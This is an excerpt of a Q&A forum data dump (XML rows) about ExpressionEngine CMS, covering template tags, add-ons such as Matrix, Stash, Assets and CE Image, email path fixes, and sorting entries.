  <row Id="10036" PostTypeId="2" ParentId="10035" CreationDate="2013-05-03T15:11:06.600" Score="0" Body="&lt;p&gt;Travis -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throw this into a blank template, replace the field name of course:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h2&amp;gt;pt_playa=&quot;IS_EMPTY&quot;&amp;lt;/h2&amp;gt;&#xA;&#xA;{exp:channel:entries search:pt_playa=&quot;IS_EMPTY&quot;}&#xA;&#xA;{title}&amp;lt;br /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;pt_playa=&quot;not IS_EMPTY&quot;&amp;lt;/h2&amp;gt;&#xA;&#xA;{exp:channel:entries search:pt_playa=&quot;not IS_EMPTY&quot;}&#xA;&#xA;{title}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see that search can help you here, at least if I am understanding correctly :) But I think I may be reversed from what you want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My testing was done with a Playa relationship field....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa P&amp;amp;T&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-03T15:11:06.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10037" PostTypeId="2" ParentId="10035" CreationDate="2013-05-03T15:21:30.633" Score="2" Body="&lt;p&gt;You can use query module also like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_channel_titles.entry_id, exp_channel_titles.title FROM exp_channel_titles LEFT JOIN exp_relationships ON exp_channel_titles.entry_id=exp_relationships.rel_child_id WHERE exp_relationships.rel_child_id IS NULL AND exp_channel_titles.channel_id=1 AND exp_channel_titles.status='open'&quot;}&#xA;&#xA;{entry_id} :: {title}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the WHERE condition having &quot;channel_id&quot; and &quot;status&quot;, you can change according to your preference.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-03T15:31:47.300" LastActivityDate="2013-05-03T15:31:47.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10038" PostTypeId="2" ParentId="9966" CreationDate="2013-05-03T16:17:02.667" Score="2" Body="&lt;p&gt;If it were me I would create the course hierarchy/ies with Taxonomy (pulling in entries from a new 'course components' channel or similar). Then I'd create relationships in those entries with course materials via Playa. My reasoning is in the question's comments section, though obviously I am somewhat guessing since I don't know your exact situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/taxonomy&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/playa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like this most because it gives you all the power of channel entries and room to grow (maybe things like: commenting on course components; creating RSS feeds limited to single topics; limiting access to materials based on group permissions; selling course subscriptions via eCommerce, not to mention some of the Solspace stuff like tagging, ratings, favourites...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client could create new dynamic courses from existing components without any repetition. Hell, your end users could even create their own bespoke courses by sticking together topics from diverse parts of a course (or multiple courses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me see you do that with categories ;-)&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-03T16:17:02.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10039" PostTypeId="2" ParentId="10034" CreationDate="2013-05-03T16:50:34.223" Score="0" Body="&lt;p&gt;A multi-page form will create the entry after the first step. I'd recommend adding status=&quot;closed&quot; to the first page's form, and status=&quot;open&quot; to the last page's form. This way, when the entry is first created, it won't be visible on the front-end until the last page is completed.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-03T16:50:34.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10040" PostTypeId="2" ParentId="9399" CreationDate="2013-05-03T17:41:45.967" Score="1" Body="&lt;p&gt;I believe it is due to %28 and %29 which stand for &lt;code&gt;(&lt;/code&gt; and &lt;code&gt;)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could hack EE to allow these characters but they are blocked as a precaution against code injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;utm&lt;/code&gt; query values look like google analytics.  You probably don't care whether your campaign name as it appears in Google Analytics includes &lt;code&gt;(&lt;/code&gt; and &lt;code&gt;)&lt;/code&gt; -- so long as they are consistently reported.  So it would seem you could simply strip them out with a Rewrite Rule in Apache Server.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-05-03T17:41:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10041" PostTypeId="1" AcceptedAnswerId="10044" CreationDate="2013-05-03T18:19:48.717" Score="0" ViewCount="50" Body="&lt;p&gt;when my email notification is sent when I create and entry using mx_notifier any images that are from an entry's text area field do not have the full path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: they display as src=&quot;/images/uploads/pic.jpg&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;a href=&quot;http://www.domain.com/images/uploads/pic.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/images/uploads/pic.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any way to change the src link to an image easily?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-03T19:05:44.630" Title="mx notifier email link/path to image broken" Tags="|email|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10042" PostTypeId="2" ParentId="9993" CreationDate="2013-05-03T18:20:26.173" Score="1" Body="&lt;p&gt;I think there were some hidden tabs or something. Finally got it to work&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-03T18:20:26.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10043" PostTypeId="1" AcceptedAnswerId="10203" CreationDate="2013-05-03T18:34:21.443" Score="0" ViewCount="248" Body="&lt;p&gt;according to the Pixel &amp;amp; Tonic site Assets is capable of doing an replacement of existing files based on filename.  It should allow to upload a new version with the same name (providing me with a choice of replacement) and without breaking existing entries' file links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that does not seem to work on my install (EE 2.5.5 and Assets 2.1.2 - coming from 2.0.5 and hoping that upgrading would solve my problem), Assets just creates a new file with a and '-1' suffix in the filename&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&#xA;rg,&#xA;Tim &lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-09T07:38:23.743" Title="Replacing existing file with assets" Tags="|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10044" PostTypeId="2" ParentId="10041" CreationDate="2013-05-03T18:35:21.560" Score="1" Body="&lt;p&gt;The notify templates just take regular EE tags, don't they? Assuming they also support other add-on tags, could you use &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; to search for src=&quot;/ and replace with src=&quot;{site_url}/ ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports regex too if you need to get a bit fancier with what you need replaced, especially given the likelihood that you'd need to include quotes in what's found/replaced.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-03T18:35:21.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10045" PostTypeId="1" CreationDate="2013-05-03T18:50:30.993" Score="0" ViewCount="493" Body="&lt;p&gt;I have a fairly simple site set-up for a client and we're using Matrix to display images like a photo gallery. It's always been fine, but after upgrading her to EE 2.6.0, and Matrix 2.5.4, as well as CE Image 1.4.3 (all the latest versions), the content is no longer displaying. It just shows... nothing. Well, it shows the body field and the title, but it doesn't display the Matrix portion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To troubleshoot, I've reinstalled the add-ons more than once, I've checked the code (it's been unchanged), I've checked the post that calls the images, everything is just as it has always been. I've gone into the Fieldtype to activate the upgrade, I've checked the channel field to ensure everything is kosher. All seems to be just as it should be. But still... nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;photos&quot; rdf=&quot;off&quot; disable=&quot;paginate|trackbacks|member_data&quot;}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{body}&#xA;&amp;lt;ul class=&quot;gallery&quot;&amp;gt;&#xA;    {gallery}&#xA;      &amp;lt;li&amp;gt;&#xA;{exp:ce_img:pair src=&quot;{photo}&quot; max=&quot;500&quot; height=&quot;100&quot; width=&quot;100&quot; crop=&quot;yes|top,center|0,0&quot; allow_scale_larger=&quot;yes&quot;}&#xA;&amp;lt;a class=&quot;tip7 group&quot; href=&quot;{photo}&quot; rel=&quot;lightbox[{entry_id}]&quot; title=&quot;{caption}&quot;&amp;gt;&amp;lt;img src=&quot;{made}&quot; alt=&quot;{caption}&quot; title=&quot;{caption}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;      &amp;lt;/li&amp;gt;&#xA;    {/gallery}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what else to check? Any thoughts?  Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE!&lt;/strong&gt;  So, the trouble seems to be with the image, specifically. I was able to get other fields in the matrix to display, just not the &quot;file&quot;, which is how the image is added. All the folders are set to 777 and they have a folder assigned to it in the channel fields settings.&lt;/p&gt;&#xA;" OwnerUserId="1220" LastEditorUserId="1220" LastEditDate="2013-05-06T17:19:20.427" LastActivityDate="2014-07-28T08:57:19.317" Title="After Upgrade, Matrix Not Displaying Content" Tags="|ee2|matrix|ce-image|ee2-upgrades|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10046" PostTypeId="2" ParentId="10041" CreationDate="2013-05-03T19:05:44.630" Score="0" Body="&lt;p&gt;BAM! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;src=QUOTE/&quot; replace=&quot;src=QUOTEhttp://domain.com/&quot;} {exp:ez_image_resize:run max_width=&quot;500&quot; quality=&quot;100&quot;} {content} {/exp:ez_image_resize:run} {/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-03T19:05:44.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10047" PostTypeId="2" ParentId="10045" CreationDate="2013-05-03T19:26:13.573" Score="1" Body="&lt;p&gt;Try outputting the following to make sure that CE Image is receiving the right content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery}&#xA;    {photo}&amp;lt;br/&amp;gt;&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the URLs are output, make sure that your CE Image cache directory is writeable&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2013-05-03T19:26:13.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10048" PostTypeId="2" ParentId="10033" CreationDate="2013-05-03T21:46:17.437" Score="1" Body="&lt;p&gt;You should be able to get any info from items in the cart using the following CartThrob template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cart_items_info&lt;/strong&gt; Outputs information about items in the cart, including item subtotals and prices with tax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;item_options&lt;/strong&gt; Outputs selectable and selected options for items in the cart, or stored items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cart_entry_ids&lt;/strong&gt; lists entry ids of items in the cart separated by a pipe | character&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;customer_info&lt;/strong&gt; Outputs customer information. Generally you can use cart items info instead, as long as there is at least one item in the cart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that you cannot get particular custom field data from your products then you can use the CT tags to get the entry_id of the product and pass this to an embed or snippet which can be a normal exp:channel:entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes. What you describe should certainly be possible.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-03T21:46:17.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10049" PostTypeId="1" CreationDate="2013-05-04T08:14:58.180" Score="1" ViewCount="181" Body="&lt;p&gt;EE v2.5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix 2.2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select ‘Add Image’ in a Matrix field, in the File Browser popup the navigation links are not correctly created and return a ‘404’, and the ‘Show files as’ select has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that this is a matrix problem as File Manager is a core component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-06-07T01:34:40.343" Title="File Browser Navigation Menu broken" Tags="|matrix|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10050" PostTypeId="2" ParentId="9998" CreationDate="2013-05-04T09:53:37.230" Score="1" Body="&lt;p&gt;However much I love ExpressionEngine would this not be a good case for using a .NET based CMS which could more easily integrate with your existing applications?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like Umbraco perhaps? Other Open Source .NET based CMS are available and if you are happy to pay a small licence fee similar to EE then I'm sure there will be even more options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you've got to take a step back and look at what is going to be easiest in the long-run. In this case, since you have an existing system built with .NET it makes little sense, to me, to shoehorn a completely different platform into the mix. If it's easy then fair enough but will there be further complications down the line when someone suggests integrating feature X or system Y?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-04T09:53:37.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10051" PostTypeId="2" ParentId="9967" CreationDate="2013-05-04T10:39:45.980" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.isapirewrite.com/&quot; rel=&quot;nofollow&quot;&gt;ISAPI Rewrite&lt;/a&gt; might be helpful, I've seen it used on a few windows hosts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The hosting company is being incredibly difficult&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe recommend your client moves to a new host?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-04T10:39:45.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10052" PostTypeId="1" AcceptedAnswerId="10053" CreationDate="2013-05-04T10:53:41.127" Score="3" ViewCount="166" Body="&lt;p&gt;When sorting by title in channel results, is there a way to ignore the 'The'?&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-05-07T20:58:59.390" Title="Ignore 'The' when sorting by title" Tags="|ee2|channel-entries|channel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10053" PostTypeId="2" ParentId="10052" CreationDate="2013-05-04T11:03:19.640" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot;&gt;Low Alphabet&lt;/a&gt; will let you generate alphabetically ordered channel entries with the option to define ignore words like 'the' and 'a'.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-04T11:03:19.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10054" PostTypeId="1" AcceptedAnswerId="10057" CreationDate="2013-05-04T11:40:01.797" Score="1" ViewCount="243" Body="&lt;p&gt;So I have my content that I put on my template article.html via the EE-publishform where I also get to choose wether to use layouts 'normal' or ' wide'.&#xA;The size of the images varies depending on wich layout I use. CE_image is what I use to resize images.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What I cant figure out is how to let CE_image do its work on the layout-template instead of on the article-template. Or if I could put the CE_image-tags on the article-template and then let the layout-templates insert apropriate values to size, crop and quality variables. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;disclaimer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I realize Stash is a genuinly complex and competent addon and the solution to my problem is probably right there in the Stash documentation. I have read it over and over and tried things over and over but I never seem to hit the keys in the right order.&#xA;So I am very ready for some advice on this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;/David&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;content&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;body&lt;/li&gt;&#xA;&lt;li&gt;images (matrix-field)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;img-1&lt;/li&gt;&#xA;&lt;li&gt;img-2&lt;/li&gt;&#xA;&lt;li&gt;img-3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Templates&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;Article&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:channel:entries channel=&quot;archive&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot;}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{embed=&quot;_layouts/{f-archive-layout}&quot;}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:stash:set name=&quot;title&quot;}&#xA;        {title}&#xA;    {/exp:stash:set}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:stash:set name=&quot;content&quot;}&#xA;        {f-body}&#xA;    {/exp:stash:set}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:stash:set name=&quot;images&quot;}&#xA;        {f-archive-images}&#xA;            &#xA;                {exp:ce_img:pair src=&quot;{f-archive-images-image}&quot; width=&quot;400&quot; crop=&quot;yes&quot; quality=&quot;80&quot;}&#xA;                    &#xA;                {/exp:ce_img:pair}&#xA;            &#xA;        {/f-archive-images}&#xA;    {/exp:stash:set}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Layouts&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;normal&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKGy4.jpg&quot; alt=&quot;normal template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;wide&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dorFa.jpg&quot; alt=&quot;wide template&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="481" LastEditorUserId="481" LastEditDate="2013-05-04T11:50:45.933" LastActivityDate="2013-05-04T20:28:06.653" Title="Stash, template partials and CE_image" Tags="|stash|ce-image|template-partials|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10055" PostTypeId="1" CreationDate="2013-05-04T13:29:38.903" Score="1" ViewCount="157" Body="&lt;p&gt;I'm just moving in to the next phase of a large project and trying to work out the best way to tackle it, or indeed if any add-ons exist that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part of the project is basically a document repository. A collection of various types of files that will be arranged, and displayed, in what are essentially folders and sub-folders. The user will be able to drill down through the folders to locate the files they want (or use a search facility).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality is being driven largely by the client's existing set up and I'm wondering is there might be a better way. I'm normally against rigid organisation of assets like this and prefer a tagging solution though in this case perhaps that would be a step too far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought is to simply use categories (either on entries or using the files module) - it could be that simple - but I'm wondering if there are any add-ons that might assist in building this or indeed, if anyone else has built something like this and come across any &quot;gotchas&quot; that I haven't yet thought of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Reading that back I realised I had used the word &quot;assets&quot;. Maybe that's a subconscious hint to myself! I haven't used the add-on Assets in this way before - is this something that Assets would be suited to?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-05-05T11:11:31.030" LastActivityDate="2013-06-04T12:32:54.813" Title="Seeking thoughts on best way to create a &quot;Document Repository&quot;" Tags="|categories|assets|bestpractice|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10056" PostTypeId="1" CreationDate="2013-05-04T17:13:37.647" Score="1" ViewCount="235" Body="&lt;p&gt;Using exp:store:search I'm trying to get a list of results and order them in price order, and by this I mean the price an item sells for rather then the just the regular price as 9 out of 10 items are on a permanent sale price and to the customer it will just seem a bit confusing and sloppy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the orderby parameter is set to “price”, Store will order your products based on their regular price. Note that this won’t take into account any currently applicable sale price.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't say how you can do it or even whether it's at all feasible. I'd have though it would be a pretty common requirement for people. How can I sort by the sale price? Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1428" LastActivityDate="2013-11-12T15:38:24.247" Title="Orderby sale price w/ Exp:resso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10057" PostTypeId="2" ParentId="10054" CreationDate="2013-05-04T20:28:06.653" Score="4" Body="&lt;p&gt;You'd be better off just 'stashing' the image urls and using the CE Image tag from within the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{f-archive-images}&#xA;  {exp:stash:set_list name=&quot;images&quot;}&#xA;    {stash:url}{f-archive-images-image}{/stash:url}&#xA;  {/exp:stash:set_list}&#xA;{/f-archive-images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Layout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First image:&#xA;{exp:stash:get_list name=&quot;images&quot; limit=&quot;1&quot;}&#xA;  {exp:ce_img:single src=&quot;{url}&quot; width=&quot;400&quot; crop=&quot;yes&quot;}&#xA;{/exp:stash:get_list}&#xA;&#xA;Second and third images:&#xA;{exp:stash:get_list name=&quot;images&quot; offset=&quot;1&quot; limit=&quot;2&quot;}&#xA;  {exp:ce_img:single src=&quot;{url}&quot; width=&quot;400&quot; crop=&quot;yes&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point is that you are trying to keep your presentation separate. The CE Image tag, to me, is a presentational tag. You just need to get the image url to the layout. The above is one way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use three separate &lt;code&gt;{exp:stash:set name=&quot;image_x&quot;}{/exp:stash:set}&lt;/code&gt; tags. Whatever you find that works.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-04T20:28:06.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10058" PostTypeId="1" CreationDate="2013-05-04T23:15:52.227" Score="-3" ViewCount="253" Body="&lt;p&gt;There exist a local webdesign company that they say, that with wordpress ,every site they build with it , or passed from something else to wordpress, it worked much better as the traffic income was suddenly increasing and they are saying that this is due tot wordpress and that other CMS would not do that,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you believe about this ?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2013-05-05T02:37:40.920" Title="Question - Wordpress Better SEO integratedd than EE?" Tags="|seo|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10059" PostTypeId="2" ParentId="9420" CreationDate="2013-05-04T23:18:31.643" Score="0" Body="&lt;p&gt;Also better saving pages just into ee and not as files will bring you huge improvements on the performance side !&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2013-05-04T23:18:31.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10060" PostTypeId="1" CreationDate="2013-05-04T23:41:54.870" Score="1" ViewCount="110" Body="&lt;p&gt;I'm trying to sync new member registration and profile updates to a cloud based CRM.  Has anyone done this?  The CRM I'm using is Batchbook.  It uses Open Saas.&lt;/p&gt;&#xA;" OwnerUserId="1433" LastActivityDate="2015-03-30T11:10:48.887" Title="Has anyone used Expression Engine with Open Saas to sync membership profiles to a cloud based CRM?" Tags="|saas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10061" PostTypeId="2" ParentId="10058" CreationDate="2013-05-05T02:32:15.007" Score="4" Body="&lt;p&gt;No. The CMS itself has nothing to do an increase in site traffic. However, if a developer doesn't know a lot about EE, it's likely to be perceived that Wordpress caters to SEO better than EE, but this just isn't true. Credible people from both platforms have great success with each (including SEO). The CMS is just a tool people choose for one reason or another, but any good CMS will not dictate results in a search engine or how the site appears.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-05-05T02:37:40.920" LastActivityDate="2013-05-05T02:37:40.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10062" PostTypeId="2" ParentId="10055" CreationDate="2013-05-05T11:01:24.727" Score="1" Body="&lt;p&gt;I've used P&amp;amp;T's Assets to create something similar to this. They wanted to display their current document repository on their website using the same folder structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the latest version of Assets, you can upload everything to the server via FTP, then use Assets to sync it with EE; you just create the file upload location as the parent folder of the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end I created links that mirrored the folder structure, i.e. you'd click on links to move down through folders. If any files existed in the folder, they'd display below the links to folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the template code I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders folder=&quot;{filedir_3}{if segment_2}{segment_2}/{/if}{if segment_3}{segment_3}/{/if}{if segment_4}{segment_4}/{/if}{if segment_5}{segment_5}/{/if}&quot;}&#xA;{if folder_name}&amp;lt;h3 class=&quot;folder&quot;&amp;gt;&amp;lt;a href=&quot;/{segment_1}/{if segment_2}{segment_2}/{/if}{if segment_3}{segment_3}/{/if}{if segment_4}{segment_4}/{/if}{folder_name}/&quot;&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:assets:files folder=&quot;{filedir_3}{if segment_2}{segment_2}/{/if}{if segment_3}{segment_3}/{/if}{if segment_4}{segment_4}/{/if}{if segment_5}{segment_5}/{/if}&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:protected_links:generate url='{url}' ip_lock='yes' only_link='yes' storage='local'}&quot; class=&quot;file {extension}&quot;&amp;gt;{exp:low_replace find=&quot;_&quot; replace=&quot;SPACE&quot;}{filename}{/exp:low_replace}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:assets:files}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks a bit untidy because I had to hard code the number of levels. I did this when Assets 2 was still in beta which was a while ago and was a bit pressed for time, so not sure if there's a way more native to Assets available now.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-05T11:01:24.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10063" PostTypeId="2" ParentId="9986" CreationDate="2013-05-05T11:13:12.270" Score="1" Body="&lt;p&gt;You can create as many different email templates as you like when orders are placed. So you could create separate ones for admin, customer and distributor.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-05T11:13:12.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10064" PostTypeId="2" ParentId="10060" CreationDate="2013-05-05T11:15:55.937" Score="1" Body="&lt;p&gt;I know someone has done an integration between &lt;a href=&quot;http://devot-ee.com/add-ons/sugar-integration&quot; rel=&quot;nofollow&quot;&gt;EE and Sugar&lt;/a&gt; before, so it must be possible. Maybe you could contact the developers of that add-on and find out if they could help you.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-05T11:15:55.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
